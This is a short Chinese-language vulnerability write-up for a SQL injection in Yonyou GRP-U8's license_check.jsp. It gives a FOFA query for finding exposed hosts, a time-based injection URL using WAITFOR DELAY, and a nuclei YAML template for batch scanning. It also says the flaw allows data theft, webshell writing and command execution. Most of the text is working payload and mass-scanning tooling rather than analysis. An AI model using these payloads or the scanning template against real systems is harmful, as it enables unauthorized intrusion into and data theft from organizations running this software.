漏洞描述
用友 GRP-U8 license_check.jsp 存在sql注入，攻击者可利用该漏洞执行任意SQL语句，如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。
漏洞复现
fofa语法：app="用友-GRP-U8"
登录页面如下：
POC：
/u8qx/license_check.jsp?kjnd=1%27;WAITFOR%20DELAY%20%270:0:5%27--
nuclei批量yaml文件
id: yonyou_GRPU8_license_check_sqli
info:
name: 用友GRP-U8 license_check.jsp sql注入漏洞
author: mhb17
severity: critical
description: description
reference:
- https://
tags: sqli
requests:
- raw:
- |+
GET /u8qx/license_check.jsp?kjnd=1%27;WAITFOR%20DELAY%20%270:0:6%27-- HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
matchers:
- type: word
part: header
words:
- '200'
- type: dsl
dsl:
- 'duration>=6'
注：使用该批量文件进行批量探测时，请调低nuclei的扫描速率，速率过高可能导致误报